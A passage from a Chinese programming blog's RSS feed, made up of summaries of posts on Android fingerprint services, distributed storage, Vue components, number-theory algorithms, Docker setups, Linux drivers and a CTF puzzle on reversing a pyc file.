      <description>FingerprintService启动-Android13 1、指纹服务启动1.1 rc启动Binder对接指纹厂商TA库1.2 FingerprintService启动1.2.1 SystemServer启动FingerprintService1.2.2 注册Binder服务fingerprint 2、获取底层信息2.1 AIDL 对接TA中获取2.2 指纹类型判断 android13-release 1、指纹服务启动 1.1 rc启动Binder对接指纹厂商TA库 android虚拟设备 这里android.hardware.biometrics.fingerprint@2.1-service.rc，实际现在Android 13上使用 AIDL 调用指纹厂商TA so库&#xA;（HIDL转换AIDL了解一下：AOSP &amp;gt; 文档 &amp;gt; 核心主题 &amp;gt; HIDL；对于fwk层实质是一样的，之前只是区分hwBinder域，这里注册的Binder服务android.hardware.biometrics.fingerprint@2.1::IBiometricsFingerprint/default）&#xA;12-24 09:54:06.228 0 0 I init : Parsing file /vendor/etc/init/android.hardware.biometrics.fingerprint@2.1-service.rc... 12-24 09:54:16.601 511 511 D android.hardware.biometrics.fingerprint@2.1-service: Opening fingerprint hal library... 12-24 09:54:16.616 511 511 D FingerprintHal: ----------------&amp;gt; fingerprint_open -----------------&amp;gt; 12-24 09:54:16.616 511 511 D FingerprintHal: ----------------&amp;gt; set_notify_callback -----------------&amp;gt; 12-24 09:54:16.616 511 511 D FingerprintHal: fingerprint callback notification set 12-24 09:54:16.</description>
    </item>
    <item>
      <title>分布式系统架构设计之分布式数据存储的扩展方式、主从复制以及分布式一致性</title>
      <link>https://bchobby.github.io/posts/6f29c6729de4f84f76d06c56ac525d71/</link>
      <pubDate>Mon, 01 Jan 2024 00:31:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f29c6729de4f84f76d06c56ac525d71/</guid>
      <description>三、水平扩展和垂直扩展 在分布式系统中，数据存储的扩展是为了适应业务的增长和提高系统的性能。分为水平扩展和垂直扩展两种方式，这两种方式在架构设计和应用场景上有着不同的优势和局限性。&#xA;水平扩展 水平扩展是通过增加节点或服务器的数量来扩大整个系统的容量和性能。在数据存储领域，水平扩展通常表现为将数据分不到多个节点或副本上，每个节点负责存储一部分数据，先来看看水平扩展的一些关键特性：&#xA;数据分片：将数据按照某种规则分成多个片段，每个片段分配给不同的节点。这样可以降低单个节点的负载，提高系统整体的读写性能。分布式存储系统：采用分布式数据库或存储系统，使得数据可以水平分布在不同的节点上，提高了系统的可扩展性。负载均衡：通过负载均衡算法确保每个节点的负载均衡相对均衡，避免单一节点成为瓶颈。弹性伸缩：可根据业务需求动态添加或移除节点，实现系统的弹性伸缩。 使用水平扩展之后，我们可以：&#xA;提高系统的横向扩展性，适应大规模数据和高并发访问易于实现和操作，可以通过添加节点来线性扩展性能 但是以下挑战在使用水平扩展的时候需要关注：&#xA;一些复杂业务场景难以进行水平分割，导致某些节点负载过重，比如具有强烈一致性需求的场景数据一致性和事务处理相对复杂度很高 垂直扩展 垂直扩展是通过提升单个节点或服务器的性能来提高整个系统的容量和性能。在数据存储方面，垂直扩展通常表现为增加节点的硬件资源，例如更大的内存、更强大的 CPU、更快的存储设备等。看看水平扩展的一些关键特性：&#xA;单节点资源增加：通过升级节点的硬件配置，增加处理能力、内容容量和存储速度。数据库垂直分区：将不同的数据或表分布到不同的节点上，使每个节点专注于处理特定类型的数据。缓存和索引优化：通过更高效的缓存机制和索引设计来提高单节点的读取性能。数据库垂直划分：将数据库按照业务功能垂直划分，每个数据库负责不同的业务模块。 使用垂直扩展的优势：&#xA;针对一些单一业务模块压力较大的场景，提高了单节点的性能相对简单，不涉及数据的分片和迁移 但是：&#xA;成本较高，硬件升级和维护可能导致较大的投入不易应对业务的爆炸性增长，存在一定的性能瓶颈 在实际应用场景中，水平扩展和垂直扩展经常是组合使用，根据具体的业务场景和需求来综合考虑，选择何种扩展方式，需要架构师根据系统的特点、业务需求、性能要求和预算等多个方面来进行全面评估。&#xA;四、主从复制和分布式一致性 主从复制 主从复制是一种数据复制模型，其中一个数据节点的变更操作会被异步地复制到其他节点中，一般只主节点的变更操作到从节点上。这种模型通常用于提高系统的可用性、读取性能以及数据备份场景。&#xA;主从复制一般包括以下步骤：&#xA;主节点写入：所有应用的写入操作先发生在主节点上，对主节点的库表进行写入。异步复制：主节点写入数据之后，将变更操作记录成日志，并将这些日志异步地传播到从节点，比如 MySQL 的 binlog。从节点应用：从节点接收到日志推送后，将主节点的变更操作应用用本地数据，使得从节点的数据与主节点数据保持一致。 使用主动复制，可以：&#xA;提高读取性能：从节点可以专门处理读取请求，分担主节点的读取压力，提高整体读取性能，这也就是平时说的读写分离的实现模式容灾备份：从节点在主节点发生故障时，可以转变成为主节点，提供容灾备份能力，保障系统在故障场景下的可用性数据分发：从节点还可以设计成位于不同的地理位置，实现数据在多个地点的分发，一般异地多活和国际化场景多采用此种模式 但采用主从复制之后，也存在以下挑战：&#xA;数据延迟：由于异步复制的特性，从节点的数据可能存在一定的延迟，不过使用云原生技术时，有云原生产品来保障，该挑战基本上可以避免解决写入压力：所有写入操作都在主节点，可能会造成主节点的写入压力过大，所以对于主节点的运维精力要投入更多 分布式一致性 分布式一致性是指在分布式系统中，各个节点对共享状态的变更达成一致的过程。保持一致性是分布式系统中的核心挑战，因为各个节点质检的通信可能存在延迟、故障、网络分区等问题。&#xA;CAP 原理 前面章节部分已经详细解释了 CAP 原理，这里不再赘述，知识点再次提醒：&#xA;一致性：所有节点看到的数据是一致的可用性：每个非故障节点都能读写分区容忍性：系统在遇到网络分区的情况下依旧可以保持一致性和可用性 一致性类型 强一致性：所有节点在同一时间看到的数据状态是相同的弱一致性：允许节点在不同时间看到不同的数据状态，但最终会一致最终一致性：最终所有节点都会达到一致状态，但是在中间阶段可能存在不一致 分布式协议 两阶段提交（2PC）：保证事务的一致性，但可能存在阻塞和单点故障三阶段提交（3PC）：解决了 2PC 的一些问题，但依旧存在不足Paxos 和 Raft：分布式共识协议，用于解决分布式一致性问题 挑战 性能开销：一致性协议会带来额外的通信和计算开销网络分区：可能导致节点之间无法达成一致，需要在一致性和可用性之间做出权衡 在分布式一致性中还有一个特别经典的内容，那就是分布式事务，这里不对分布式事务进行介绍，后面会有专门的章节来详细讲解分布式事务。</description>
    </item>
    <item>
      <title>C语言中的难点</title>
      <link>https://bchobby.github.io/posts/2f150572f40e9d73acc0a5b863a21007/</link>
      <pubDate>Mon, 01 Jan 2024 00:14:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f150572f40e9d73acc0a5b863a21007/</guid>
      <description> C语言把内存划分成四个区，它把一般的变量和数组等存在于内存中的栈区，全局变量在静态区若指针没有被初始化,那么指针可能会指向任何内存位置,这样可能会导致程序崩溃或者行为不确定，野指针就是指针指向的位置是不可知的（随机的、不正确的、没有明确限制的）指针变量在定义时如果未初始化多个指针指向同一个地址,这样使用没什么问题c++中有string类可以直接定义字符串，而c语言中不可以，只可以引入string.h包含处理字符串的函数，但是定义还是char[]数组类型数据结构(尤其是栈)应该尽可能地在自然边界上对齐。 原因在&#xA;于，为了访问未对齐的 内存，处理器需要作两次内存访问；而对齐的内访问仅需要一次访问。总体来说：结构体的内存对齐是拿空间来换取时间的做法。优点是提高了cpu访问性能。p+1就是a+1的值都代表a[1]的地址，两者是相等的 </description>
    </item>
    <item>
      <title>从零开始配置kali2023环境：配置jupyter的多内核环境</title>
      <link>https://bchobby.github.io/posts/8d85612b9415f48a9b7f0f2e18b462c5/</link>
      <pubDate>Mon, 01 Jan 2024 00:10:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d85612b9415f48a9b7f0f2e18b462c5/</guid>
      <description>在kali2023上面尝试用anaconda3，anaconda2安装实现配置jupyter的多内核环境时出现各种问题，现在可以通过镜像方式解决&#xA;1. 搜索镜像 ┌──(holyeyes㉿kali2023)-[~]&#xA;└─$ sudo docker search anaconda&#xA;┌──(holyeyes㉿kali2023)-[~] └─$ sudo docker search anaconda [sudo] password for holyeyes: NAME DESCRIPTION STARS OFFICIAL AUTOMATED continuumio/anaconda3 Powerful and flexible python distribution 755 [OK] continuumio/anaconda Powerful and flexible python distribution 218 [OK] okwrtdsh/anaconda3 Anaconda3, Jupyter Notebook, OpenCV3, Tensor… 41 [OK] drunkar/anaconda-tensorflow-gpu anaconda-tensorflow-gpu 12 [OK] fzinfz/anaconda3 multi-kernel jupyter(py 3.7+/2.7.15 &amp;amp; bash) … 4 continuumio/anaconda2 4 continuumio/anaconda-pkg-build 2 xychelsea/anaconda3 Anaconda 3 base containers, including with N… 2 kunitaya/anaconda3 Anaconda3 on CentOS 1 [OK] geordgez/anaconda-sh 1 alleninstitute/anaconda3_neuron_1370 1 mikewright/anaconda-tensorflow An image that can be used to quickly start a… 1 [OK] quantrocket/anaconda3-uwsgi Learn more at https://www.</description>
    </item>
    <item>
      <title>从零开始做题：pyHAHA</title>
      <link>https://bchobby.github.io/posts/d5ac8b55bb8102ed3120a0598c0a20b1/</link>
      <pubDate>Mon, 01 Jan 2024 00:05:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5ac8b55bb8102ed3120a0598c0a20b1/</guid>
      <description>1.题目信息 https://adworld.xctf.org.cn/challenges/list&#xA;解题思路 分析pyc文件&#xA;分析压缩包中的MP3，分析MP3解隐写得到的字符&#xA;01字符串画图&#xA;pyc反编译，py代码逆向分析&#xA;解题步骤 1.分析pyc 1.1 拿到一个pyc，通过tool.lu/pyc反编译，结果显示反编译不成功，猜测是pyc隐写 补充知识点：&#xA;pyc文件：python是一种解释器语言，为了提高运行效率，将py源码文件编译为pyc可执行文件&#xA;pyc反编译：通过工具将pyc文件反编译成py源码&#xA;1.2 用winhex打开该文件，发现2galf，1galf关键字，看出是倒序了而且压缩了 1.3 将文件进行正序并发现少文件头03F30D0A补上 f = open(&#39;PyHaHa2.pyc&#39;,&#39;wb&#39;) with open(&#39;PyHaHa.pyc&#39;,&#39;rb&#39;) as g: f.write(g.read()[::-1]) f.close() 1.4 另存为PyHaHa2-modify -zip，用7-zip解压缩得到Dream It Possible 1.5 用工具DeEgger Embedder可以提取Dream It Possible - extracted，得到base32编码的内容 1.6 通过tool.lu/pyc反编译PyHaHa2-modify.pyc得到 #!/usr/bin/env python # visit http://tool.lu/pyc/ for more information from os import urandom def generate(m, k): result = 0 for i in bin(m ^ k)[2:]: result = result &amp;lt;&amp;lt; 1 if int(i): result = result ^ m ^ k if result &amp;gt;&amp;gt; 256: result = result ^ P continue return result def encrypt(seed): key = int(urandom(32).</description>
    </item>
    <item>
      <title>vue3 element plus el-table封装（二）</title>
      <link>https://bchobby.github.io/posts/0705e84e484a9f2ffebcd8eaa5cb05a6/</link>
      <pubDate>Sun, 31 Dec 2023 23:57:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0705e84e484a9f2ffebcd8eaa5cb05a6/</guid>
      <description>上文是对el-table的基本封装，只能满足最简单的应用，本文主要是在上文的基础上增加slot插槽，并且对col插槽进行拓展，增加通用性&#xA;// BaseTable.vue&#xA;&amp;lt;template&amp;gt; &amp;lt;el-table&amp;gt; &amp;lt;template v-for=&#34;name in tableSlots&#34; :key=&#34;name&#34; #[name]&amp;gt; &amp;lt;slot :name=&#34;name&#34;&amp;gt;&amp;lt;/slot&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;el-table-column v-for=&#34;(col,index) in $attrs.config&#34; :key=&#34;index&#34; v-bind=&#34;col&#34;&amp;gt; &amp;lt;template v-if=&#34;col.slot&#34; #[getColSlot(col)]=&#34;scope&#34; &amp;gt; &amp;lt;slot :name=&#34;col.slot&#34; v-bind=&#34;scope&#34;&amp;gt;&amp;lt;/slot&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;/el-table&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script lang=&#34;ts&#34; setup&amp;gt; const slots=useSlots(); const tableSlots=computed(()=&amp;gt;{ // 原生el-table插槽只有default,append,empty // 原生el-table-column插槽只有table插槽只有default,header // 这里将header单独处理，认为是col的插槽，从table插槽中排除 return Object.keys(slots).filter(name=&amp;gt;name!==&#39;header&#39;) }) const getColSlot=(col)=&amp;gt;{ return col.slot===&#39;header&#39;?&#39;header&#39;:&#39;default&#39; } &amp;lt;/script&amp;gt; //index.vue&#xA;&amp;lt;template&amp;gt; &amp;lt;BaseTable :config=&#34;config&#34; :data=&#34;tableData&#34; :style=&#34;{width:&#39;800px&#39;}&#34;&amp;gt; &amp;lt;template #status=&#34;scope&#34;&amp;gt; &amp;lt;el-text :type=&#34;scope.row.status.type &#34;&amp;gt;{{ scope.row.status.content }}&amp;lt;/el-text&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;template #btn=&#34;scope&#34;&amp;gt; &amp;lt;el-button type=&#34;</description>
    </item>
    <item>
      <title>【算法】数论---取模运算法则</title>
      <link>https://bchobby.github.io/posts/21e49b4a952e6a5fa618e26a89d0596d/</link>
      <pubDate>Sun, 31 Dec 2023 23:45:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21e49b4a952e6a5fa618e26a89d0596d/</guid>
      <description>取模运算（余数运算）有一些基本的运算法则：&#xA;(a + b) % m = (a % m + b % m) % m(a - b) % m = (a % m - b % m) % m(a * b) % m = (a % m * b % m) % ma ^ b % p = ((a % p)^b) % p 取模运算（余数运算）有一些基本的性质：&#xA;同余性质： 如果两个整数 a 和 b 对于某个正整数 m 有 a % m = b % m，那么 a 和 b 被称为对模 m 同余，记作 a ≡ b (mod m)。</description>
    </item>
    <item>
      <title>【RDMA】rdma-core驱动源码包|ibverbs|rdmacm</title>
      <link>https://bchobby.github.io/posts/4f1d65a5dd8e3237abb461cb3a8bd276/</link>
      <pubDate>Sun, 31 Dec 2023 23:39:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f1d65a5dd8e3237abb461cb3a8bd276/</guid>
      <description>目录&#xA;源码包&#xA;编译&#xA;用法&#xA;驱动包内的例子&#xA;其他&#xA;源码包 mellanox的rdma驱动源码包形式如下：&#xA;MLNX_OFED_LINUX-5.8-1.1.2.1-rhel9.0-ext/src/MLNX_OFED_SRC-5.8-1.1.2.1/SRPMS&#xA;rdma-core-58mlnx43-1.58112.src.rpm&#xA;rpm -ivh rdma-core-58mlnx43-1.58112.src.rpm 安装完成后&#xA;源码解压到：/root/rpmbuild/SOURCES/&#xA;RDMA Core Userspace Libraries and Daemons&#xA;这是 Linux 内核驱动程序的用户空间组件，属于/infiniband 子系统。具体包含以下设备节点的用户空间库：&#xA;/dev/infiniband/uverbsX（libibverbs）/dev/infiniband/rdma_cm（librdmacm）/dev/infiniband/umadX（libibumad） libibverbs RDMA 内核驱动程序的用户空间组件包含在 providers/ 目录下。支持以下内核 RDMA 驱动程序：&#xA;efa.koiw_cxgb4.kohfi1.kohns-roce.koi40iw.koib_qib.komlx4_ib.komlx5_ib.koib_mthca.koocrdma.koqedr.kordma_rxe.kosiw.kovmw_pvrdma.ko 此外，还提供了以下额外的服务守护进程：&#xA;srp_daemon（ib_srp.ko）iwpmd（针对 iwarp 内核提供程序）ibacm（用于 InfiniBand 通信管理助手） 编译 进入驱动包目录，执行：&#xA;$ bash build.sh&#xA;输出在：build/bin 和 build/lib build/bin 目录包含示例程序，build/lib 目录包含共享库。&#xA;注意：目前不易从构建目录运行插件，插件仅从系统路径加载&#xA;编译之前环境可能需要安装一些依赖，如：&#xA;CentOS 7:&#xA;$ yum install epel-release&#xA;$ yum install cmake3 ninja-build pandoc&#xA;详情见README.md&#xA;用法 略&#xA;驱动包内的例子 驱动包例子的源码在驱动包的excample内</description>
    </item>
    <item>
      <title>【Docker-Dev】Mac M2 搭建docker的redis环境</title>
      <link>https://bchobby.github.io/posts/0b8b0eb0635e895e517034d712c406de/</link>
      <pubDate>Sun, 31 Dec 2023 23:35:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b8b0eb0635e895e517034d712c406de/</guid>
      <description>Redis的dev环境docker搭建 1、前言2、官方文档重点信息提取2.1、创建redis实例2.2、使用自己的redis.conf文件。 3、单机版redis搭建4、redis集群版4.1、一些验证4.2、一些问题 结语 1、前言 本文主要针对M2下，相应进行开发环境搭建，然后做一个文档记录，是第二弹文章，搭建是采用docker compose文件。&#xA;希望对相关人有帮助。如果只想要Docker-Compose文件，请转到第三节的单机模式和第四节的集群模式。&#xA;针对第四节集群模式，这里有个地方需要提前说明，目前redis cluster的搭建模式，存在一个问题无法解决，即无法通过Docker暴露出的端口进行宿主机的外部访问连接，后续只能看看是否研究开启tsl或者其他方式允许访问。从内部各种方式可以验证出，集群状态是正常的，而且数据能正常访问。&#xA;原本是打算使用redis-commander进行docker集群内访问redis cluster，但是很可惜，官方似乎在docker compose组建的运行环境下是存在问题的，Issue看这。&#xA;2、官方文档重点信息提取 redis的docker镜像官网地址在此处点击。&#xA;hub地址是需要翻墙访问&#xA;2.1、创建redis实例 docker run --name some-redis -d redis 如果想持久化，则是如下命令：&#xA;docker run --name some-redis -d redis redis-server --save 60 1 --loglevel warning redis-server --save 60 1 --loglevel warning，这是传递给 Redis 服务器的参数，它告诉 Redis 服务器在后台每隔 60 秒检查一次数据库，如果有至少一个键被修改，则将其写入磁盘。后面的 1 表示如果至少有一个键被修改，则每秒进行一次检查。–loglevel warning 设置 Redis 服务器的日志级别为 “warning”，表示只记录警告级别的日志。&#xA;2.2、使用自己的redis.conf文件。 创建自己的Dockerfile文件，将上下文中的redis.conf添加到/data/中，如下所示&#xA;FROM redis COPY redis.conf /usr/local/etc/redis/redis.conf CMD [ &#34;redis-server&#34;, &#34;/usr/local/etc/redis/redis.conf&#34; ] 也可以使用docker命令&#xA;docker run -v /myredis/conf:/usr/local/etc/redis --name myredis redis redis-server /usr/local/etc/redis/redis.</description>
    </item>
    <item>
      <title>【算法】数论---快速幂</title>
      <link>https://bchobby.github.io/posts/771aae1e06ae3031c73a8849d0a18f29/</link>
      <pubDate>Sun, 31 Dec 2023 23:23:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/771aae1e06ae3031c73a8849d0a18f29/</guid>
      <description>什么是快速幂？&#xA;快速幂:快速求a^b % p的值,时间复杂度:O(logb)&#xA;一、暴力写法--- 循环b次求出a^b mod p (时间复杂度:O(b)) int a,b,p; cin&amp;gt;&amp;gt;a&amp;gt;&amp;gt;b&amp;gt;&amp;gt;p; long long res=1; while(b--)res = res * a %p; cout&amp;lt;&amp;lt;res&amp;lt;&amp;lt;endl; 二、快速幂（时间复杂度:O(logb)） #include&amp;lt;iostream&amp;gt; using namespace std; typedef long long LL; LL qmi(int a, int b, int p) { LL ans = 1 % p; //这里%p是为了防止在b==0，p==1的情况出错 while (b) { if (b &amp;amp; 1) ans = ans * a % p; //使用b的二进制的最后一位 b &amp;gt;&amp;gt;= 1; //使用完b的二进制的最后一位后将最后一位删掉 a = a * (LL)a % p; //计算下次要用的a } return ans; } int main() { int n; cin&amp;gt;&amp;gt;n; while(n--) { int a,b,p; cin&amp;gt;&amp;gt;a&amp;gt;&amp;gt;b&amp;gt;&amp;gt;p; printf(&#34;</description>
    </item>
    <item>
      <title>【算法】数论---欧拉函数</title>
      <link>https://bchobby.github.io/posts/c5b9264736db2c693487a7951607cab0/</link>
      <pubDate>Sun, 31 Dec 2023 23:02:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5b9264736db2c693487a7951607cab0/</guid>
      <description>什么是欧拉函数？&#xA;对于正整数n，欧拉函数是小于或等于n的正整数中与n互质的数的数目，记作φ(n)&#xA;φ(1)=1&#xA;当m,n互质时，φ(mn)=φ(m)∗φ(n)&#xA;一、求一个正整数的欧拉函数---（先对它分解质因数，然后套公式） int x; cin&amp;gt;&amp;gt;x; int ans=x; map&amp;lt;int,int&amp;gt;h; for(int i=2;i&amp;lt;=x/i;i++) { while(x%i==0) { x/=i; h[i]++; } } if(x&amp;gt;1)h[x]++; for(auto i:h) { int j=i.first; //因为j最大不超过2x10^9，所有j的数据类型用int就足够了 ans=ans/j*(j-1); //因为每个j都是ans的质因子，所有ans/j肯定可以整除的，并且因为ans/j*(j-1)的结果肯定会小于ans，所有ans的数据类型用int就足够了 }//这里必须得是ans/j*(j-1)这个顺序，防止爆int cout&amp;lt;&amp;lt;ans&amp;lt;&amp;lt;endl; 二、求一个正整数的欧拉函数---线性筛法 #include&amp;lt;iostream&amp;gt; using namespace std; const int N=1000010; int primes[N],idx=0; bool st[N];int ou[N]; int main() { int n; cin&amp;gt;&amp;gt;n; for(int i=2;i&amp;lt;=n;i++) { if(!st[i]) { primes[idx++]=i; ou[i]=i-1; } for(int j=0;primes[j]*i&amp;lt;=n;j++) { st[primes[j]*i]=true; //primes[j]*i将会遍历所有的和数，然后在这里将它们标记（筛掉），再在下面将它们的欧拉函数求出 if(i%primes[j]==0) //i%primes[j]==0说明primes[j]是i的最小质因数 { ou[primes[j]*i]=ou[i]*primes[j]; break; } else //i%primes[j]!</description>
    </item>
    <item>
      <title>微信小程序-父子页面传值</title>
      <link>https://bchobby.github.io/posts/4c706a9192429d83bf8a5ef49b85887b/</link>
      <pubDate>Sun, 31 Dec 2023 23:00:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c706a9192429d83bf8a5ef49b85887b/</guid>
      <description>父子页面传值 父页面向子页面传值 方法一：&#xA;父页面：&#xA;1. /page/xxx/xxx?id=1 子页面：&#xA;onLoad:function(option){ } 方法二&#xA;&amp;lt;bindtap=“func” data-xxx=””&amp;gt; 子页面向父页面传值 定义父子页面 父页面：hotspot&#xA;子页面：topic&#xA;设计：hotspot页面，点击“请选择话题”，然后跳转到topic页面，topic页面显示默认的 热点列表；点击任意热点话题，跳转回hotspot页面并显示已选择的话题title。&#xA;hotspot.wxml&#xA;&amp;lt;view bindtap=&#34;chooseTopic&#34;&amp;gt;{{topicTitle}}&amp;lt;/view&amp;gt; hotspot.js&#xA;data: { topicTitle:&#34;请选择话题&#34; }, /* 跳转到topic页面 */ chooseTopic: function(){ wx.navigateTo({ url: &#39;/pages/topic/topic&#39;, }) }, /* 设置topicTitle */ setTopicTitle: function(d){ this.setData({topicTitle:d.title}); } topic.wxml&#xA;&amp;lt;view&amp;gt; &amp;lt;view class=&#34;item&#34; wx:for=&#34;{{topicList}}&#34; bindtap=&#34;chooseTopic&#34; data-topic=&#34;{{item}}&#34;&amp;gt; &amp;lt;text &amp;gt;#{{item.title}}&amp;lt;/text&amp;gt; &amp;lt;text&amp;gt;查看:{{item.view}}&amp;lt;/text&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; topic.js&#xA;data: { /* 实际项目中，数据一般从后端获取，此处仅作模拟用 */ topicList:[ {id:0, title:&#34;人工智能&#34;, view:100}, {id:1, title:&#34;新能源汽车&#34;, view:95} ] }, chooseTopic: function(data){ var topicInfo = data.</description>
    </item>
    <item>
      <title>解锁编程新年的神器——探索Maven Helper插件的妙用</title>
      <link>https://bchobby.github.io/posts/c8594e9e15a0d9f08963891cdf32dc2a/</link>
      <pubDate>Sun, 31 Dec 2023 22:52:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8594e9e15a0d9f08963891cdf32dc2a/</guid>
      <description> 推荐阅读 轻松驾驭JDBC：一篇文章帮你搞定数据库连接&#xA;ChatGPT爆火一周年，快来拥有专属你的ChatGPT应用！&#xA;GraalVM+native-image+Visual Studio 在Win10上全流程安装，避坑+实操&#xA;文章目录 推荐阅读安装使用其他方法 下载链接&#xA;安装 点击设置，搜索maven helper 插件，然后选择安装。&#xA;安装完成后，重启idea.&#xA;使用 打开项目文件pom.xml后，可以发现文件的底端多了个“Dependency Analyzer”的选项。&#xA;切换到“Dependency Analyzer”视图后，可以发现如下界面&#xA;其中三个选项分别表示如下:&#xA;Conflicts---------查看冲突All Dependencies as List---------列表形式查看所有依赖All Dependencies as Tree---------树形式查看所有依赖 3、当没有依赖冲突或者解决依赖冲突时，当选择Conflicts时，右上角会多了个“No Conflicts”&#xA;当出现冲突需要解决时，下面会显示冲突的信息，我们可以选择冲突的依赖 Exclude它。&#xA;5、点击 Exclude 之后，插件自动会在 pom.xml 文件中添加 相关代码，进行子依赖的排除。&#xA;其他方法 1、IEDA其他快捷键&#xA;可以使用快捷键 Ctrl+Shift+AIt+U（idea默认的快捷键），直接显示出依赖关系树 选择右侧maven，点击右上角“Show Dependencies”图标后，会显示出依赖关系图。 2、使用Maven命令查看依赖冲突方法:&#xA;查看依赖： maven dependency:tree 查看依赖是否冲突： mvn dependency:tree -Dverbose -Dincludes=&amp;lt;groupId&amp;gt;:&amp;lt;artifactId&amp;gt; </description>
    </item>
    <item>
      <title>深度学习｜10.4 填充</title>
      <link>https://bchobby.github.io/posts/468bb3628d3e720916a76fae9e14bcdd/</link>
      <pubDate>Sun, 31 Dec 2023 22:52:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/468bb3628d3e720916a76fae9e14bcdd/</guid>
      <description>填充 首先有个问题就是nxn的矩阵用fxf的过滤器可以生成多大的矩阵&#xA;由于从一个nxn的矩阵变成一个 ( n − f + 1 ) × ( n − f + 1 ) (n-f+1) \times (n-f+1) (n−f+1)×(n−f+1)的矩阵，矩阵规模变小了，也就意味着有些信息是丢失的（如果不可逆的话）。&#xA;填充的目的——使得输入规模和输出规模保持一致 假设p为填充量，则输出规模将会扩充上2p。&#xA;而只有f为奇数时，才有办法确保算出来的p是整数。&#xA;也就是说为了填充能够实现前后规模相等的情况，往往核/过滤器的大小要设置成奇数乘上奇数的形式（比如3x3和5x5）</description>
    </item>
    <item>
      <title>Linux驱动学习—pinctl和gpio子系统</title>
      <link>https://bchobby.github.io/posts/121e911a0bbb5ba530a14084ecca9d89/</link>
      <pubDate>Sun, 31 Dec 2023 22:48:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/121e911a0bbb5ba530a14084ecca9d89/</guid>
      <description>1、pinctl和gpio子系统（一） 1.1pinctrl 子系统主要工作内容 &amp;lt;1&amp;gt;获取设备树中 pin 信息，管理系统中所有的可以控制的 pin， 在系统初始化的时候， 枚举所有可以控制的 pin， 并标识这些 pin。 &amp;lt;2&amp;gt;根据获取到的 pin 信息来设置 pin 的复用功能，对于 SOC 而言， 其引脚除了配置成普通的 GPIO 之外，若干个引脚还可以组成一个 pin group， 形成特定的功能。 &amp;lt;3&amp;gt;根据获取到的 pin 信息来设置 pin 的电气特性，比如上/下拉、速度、驱动能力等。 对应使用者来说，只需要在设备树里面设置好某个 pin 的相关属性即可，其他的初始化工作均由 pinctrl 子系统来完成。&#xA;1.2gpio子系统主要工作内容 当使用 pinctrl 子系统将引脚的复用设置为 GPIO，可以使用 GPIO 子系统来操作GPIO，Linux 内核提供了 pinctrl 子系统和 gpio 子系统用于 GPIO 驱动。&#xA;通过 GPIO 子系统功能要实现：&#xA;&amp;lt;1&amp;gt;引脚功能的配置（设置为 GPIO，GPIO 的方向， 输入输出模式，读取/设置 GPIO 的值） &amp;lt;2&amp;gt;实现软硬件的分离（分离出硬件差异， 有厂商提供的底层支持； 软件分层。 驱动只需要调用接口 API 即可操作 GPIO） &amp;lt;3&amp;gt;iommu 内存管理（直接调用宏即可操作 GPIO） gpio 子系统的主要目的就是方便驱动开发者使用 gpio，驱动开发者在设备树中添加 gpio 相关信息，然后就可以在驱动程序中使用 gpio 子系统提供的 API函数来操作 GPIO， Linux 内核向驱动开发者屏蔽掉了 GPIO 的设置过程，极大的方便了驱动开发者使用 GPIO。</description>
    </item>
    <item>
      <title>vue3&#43;ts开发干货笔记</title>
      <link>https://bchobby.github.io/posts/75bb70bf072e1b05a606837a671a6177/</link>
      <pubDate>Sun, 31 Dec 2023 22:36:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75bb70bf072e1b05a606837a671a6177/</guid>
      <description>总结一下在vue3中ts的使用。当篇记录部分来自于vue官网，记录一下，算是加深印象吧。&#xA;纯干笔记，不断补充，想到什么写什么，水平有限，欢迎评论指正！&#xA;类型标注 props &amp;lt;script setup lang=&#34;ts&#34;&amp;gt; const props = defineProps({ foo: { type: String, required: true }, bar: Number }) props.foo // string props.bar // number | undefined &amp;lt;/script&amp;gt; 可以通过更直接的泛型定义&#xA;&amp;lt;script setup lang=&#34;ts&#34;&amp;gt; const props = defineProps&amp;lt;{ foo: string bar?: number }&amp;gt;() &amp;lt;/script&amp;gt; 也可以将 props 的类型移入一个单独的接口中&#xA;&amp;lt;script setup lang=&#34;ts&#34;&amp;gt; interface Props { foo: string bar?: number } const props = defineProps&amp;lt;Props&amp;gt;() &amp;lt;/script&amp;gt; 把定义单独放到另一个文件中，引入使用&#xA;&amp;lt;script setup lang=&#34;ts&#34;&amp;gt; import type { Props } from &#39;.</description>
    </item>
    <item>
      <title>[JS设计模式]Prototype Pattern</title>
      <link>https://bchobby.github.io/posts/49b8946730ba2b6658e89e5ac55ac50d/</link>
      <pubDate>Sun, 31 Dec 2023 22:20:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49b8946730ba2b6658e89e5ac55ac50d/</guid>
      <description>Prototype pattern Prototype pattern可便于同类型的多个对象共享属性。原型（prototype）是JS原生的对象，其他对象可以通过原型链（prototype chain）来访问原型。单独看这句描述可能还是有点儿抽象，下面通过具体的示例来详细阐述。&#xA;class Dog { constructor(name) { this.name = name; } bark() { return `Woof!`; } } const dog1 = new Dog(&#34;Kadi&#34;); console.log(dog1.__proto__); console.log(Dog.prototype); 